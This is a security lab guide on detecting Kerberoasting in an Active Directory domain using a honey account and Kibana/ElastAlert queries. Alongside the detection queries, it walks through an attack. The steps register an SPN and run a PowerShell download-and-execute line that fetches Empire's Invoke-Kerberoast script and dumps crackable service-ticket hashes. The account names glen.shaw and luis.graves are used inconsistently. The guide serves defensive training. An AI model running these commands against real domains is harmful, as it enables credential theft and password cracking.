L1170 - Preemptive Kerberoast Detection

Lab Contents

Lab Overview

This attack path has been popularized over the last several years and thus gained in notoriety, popularity, and defensive implementations. We are going to turn one of our managed accounts into a "Honey Account" for detecting Kerberos attacks.

In this lab, we will create a vulnerable Active Directory state by adding a SPN to an existing user account. We will then exploit the configuration by invoking tool "Kerberoast" to create an authentication ticket for the SPN attached to the user. This results in a hash that can then be replayed or cracked.

We will then look for evidence that a process exploited the state by creating an authentication ticket for the SPN attached to the user.

Lab Objectives

Lab Overview

Preemptive Hunting For Kerberos Abuse

Simple Search Queries

Step One

The following query may catch the Kerberos Ticket operations quick and easy. But, the vulnerable state may not exist yet.

Hunt Search Term

event_id : 4769

Deceptive Honey Account

Or, we can try a search for our honey account: luis.graves. This account will be "kerberoastable" very soon.

Hunt Search Term

service_ticket_name : "luis.graves"

Even better though, we can pre-preemptively plan our detection based on the ElastAlert results shown below.

Step Two

Hunting in ElastAlert

We start this section by switching to the ElastAlert log index in the Kibana UI. Once there, our standard methodology is to clean out the noise and see if we can parse the results down to the recent activity we have been hoping to catch.

As shown in the next screenshot, several Sigma and Sysmon alerts were triggered in association with the use of SetSPN.exe and a request for a ticket with a specific encryption type: RC4 (0x17).

Hunt Search Term

The two queries listed below seem to be fairly reliable query to detect Kerberoast attacks.

ticket_encryption_type : "0x17" and NOT service_ticket_name : krbtgt     # can be noisy

or

ticket_encryption_type : "0x17" and NOT service_ticket_name : krbtgt and service_ticket_name : "luis.graves" and event_id : 4769

Set the refresh timer in the Kibana UI to 10 seconds, the time window to a recent period of time, and search any of the Kerberos ticketing related queries. Then, run the attacks listed below.

Create A Vulnerable State

Step One

In this phase of the lab, we are going to assign an SPN (service principal name) to an account. This will assign a unique identifier to the glen.shaw and allow Kerberos authentication to associate the account with a service instance. This configuration would then allow the glen.shaw account to login as a service account against the domain.

Login to Member Server

Connect via Remote Desktop to the Member Server, WS01.

PowerShell

Launch Windows PowerShell from the Windows Start Menu.

Confirm User Context

First, confirm the correct user and system context by using the "whoami" and "hostname" commands.

PowerShell Input

whoami
hostname

PowerShell Output

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\itadmin> whoami
labs\itadmin <------------------------------VERIFY RESULT
PS C:\Users\itadmin> hostname
ws01    <-----------------------------------VERIFY RESULT

If the result of the above commands differs, please confirm you are operating on the correct system and user context.

Create SPN

This will assign a unique identifier to the glen.shaw and allow Kerberos authentication to associate the account with a service instance.

PowerShell Input

setspn -a ws01/luis.graves.labs.local:1433 labs.local\luis.graves

PowerShell Output

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\itadmin> setspn -a ws01/glen.shaw.labs.local:1433 labs.local\glen.shaw
Checking domain DC=labs,DC=local

Registering ServicePrincipalNames for CN=Luis.Graves,OU=UserAccounts,DC=labs,DC=local
		ws01/luis.graves.labs.local:1433
Updated object

Confirm SPN

The next command will list the accounts on the domain with existing SPNs.

PowerShell Input

setspn -T labs.local -Q */* 

PowerShell Output

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\itadmin> setspn -T labs.local -Q */*
Checking domain DC=labs,DC=local
CN=dc01,OU=Domain Controllers,DC=labs,DC=local
		TERMSRV/dc01
		TERMSRV/dc01.labs.local
		Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/dc01.labs.local
		ldap/dc01.labs.local/ForestDnsZones.labs.local
		ldap/dc01.labs.local/DomainDnsZones.labs.local
		DNS/dc01.labs.local
		GC/dc01.labs.local/labs.local
		RestrictedKrbHost/dc01.labs.local
		RestrictedKrbHost/dc01
		RPC/3784a87a-cf3b-4720-be4b-20d9c31fb4ec._msdcs.labs.local
		HOST/dc01/LABS
		HOST/dc01.labs.local/LABS
		HOST/dc01
		HOST/dc01.labs.local
		HOST/dc01.labs.local/labs.local
		E3514235-4B06-11D1-AB04-00C04FC2DCD2/3784a87a-cf3b-4720-be4b-20d9c31fb4ec/labs.local
		ldap/dc01/LABS
		ldap/3784a87a-cf3b-4720-be4b-20d9c31fb4ec._msdcs.labs.local
		ldap/dc01.labs.local/LABS
		ldap/dc01
		ldap/dc01.labs.local
		ldap/dc01.labs.local/labs.local
CN=krbtgt,CN=Users,DC=labs,DC=local
		kadmin/changepw
CN=ws01,OU=ComputerAccounts,DC=labs,DC=local
		TERMSRV/ws01
		TERMSRV/ws01.labs.local
		WSMAN/ws01
		WSMAN/ws01.labs.local
		RestrictedKrbHost/ws01
		HOST/ws01
		RestrictedKrbHost/ws01.labs.local
		HOST/ws01.labs.local
CN=Glen.Shaw,OU=UserAccounts,DC=labs,DC=local
		ws01/luis.graves.labs.local:1433

Existing SPN found!

Step Two

Create Ticket via Invoking Kerberoast

Use the following command via Windows PowerShell to produce an output that is a small challenge to sort, as it comes with line breaks. Easy enough to clean up with a little bit of sed magic (a command is listed after the initial execution below).

PowerShell Input

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat

PowerShell Output

Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\Users\itadmin> [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
C:\Users\itadmin> IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat


TicketByteHexStream  :
Hash                 : $krb5tgs$23$*Luis.Graves$labs.local$ws01/luis.graves.labs.local:1433*$26883054D1BE47DDC364B9C9C54B0A61$80C650C023B9D9CF77E64E6E4A47EDCACC36B7B72F045751C6117B64D558A7A4AF17BB49D3AEC2B53A7A3C59ABF1B3FB712333487CB73B4B99463D377ABF7FA43DABEE96876B4BC5742C56273D7D76AC178D3E517432B7DF52FF8B720C46F15CD1E599F5E26511561E9E39A285C18FB09C19897DF79DCCBE73918     <TRUNCATED HASH>    
SamAccountName       : Luis.Graves
DistinguishedName    : CN=Luis.Graves,CN=Users,DC=labs,DC=local
ServicePrincipalName : ws01/luis.graves.labs.local:1433

The sed command below can be used in situations where the ticket is in this messy state. You will need to copy the contents, line breaks and all, to the kerb.txt file on a Nux/Mac install and use cat, sed, translate, and grep to clean it up.

Bash Input

cat kerb.txt | grep Hash -A 29 | sed 's/\<Hash\>//g' | sed s/://g | sed s/--//g | sed -r 's/\s+//g' | tr '\n' ' ' | sed 's/\s//g' | sed 's/$k\{1,\}/\'$'\n&/g’

However, to produce a cleaner output initially, use the following command:

PowerShell Input

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash

PowerShell Output

PS C:\Users\itadmin> [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
PS C:\Users\itadmin> IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash

Hash
----
$krb5tgs$23$*Luis.Graves$labs.local$ws01/luis.graves.labs.local:1433*$26883054D1BE47DDC364B9C9C54B0A61$80C650C023B9D9CF7...

You may head back to the ElastAlert index and review the SPN, Sysmon, and related alerts for further research opportunities.

This completes this lab.

Lab Complete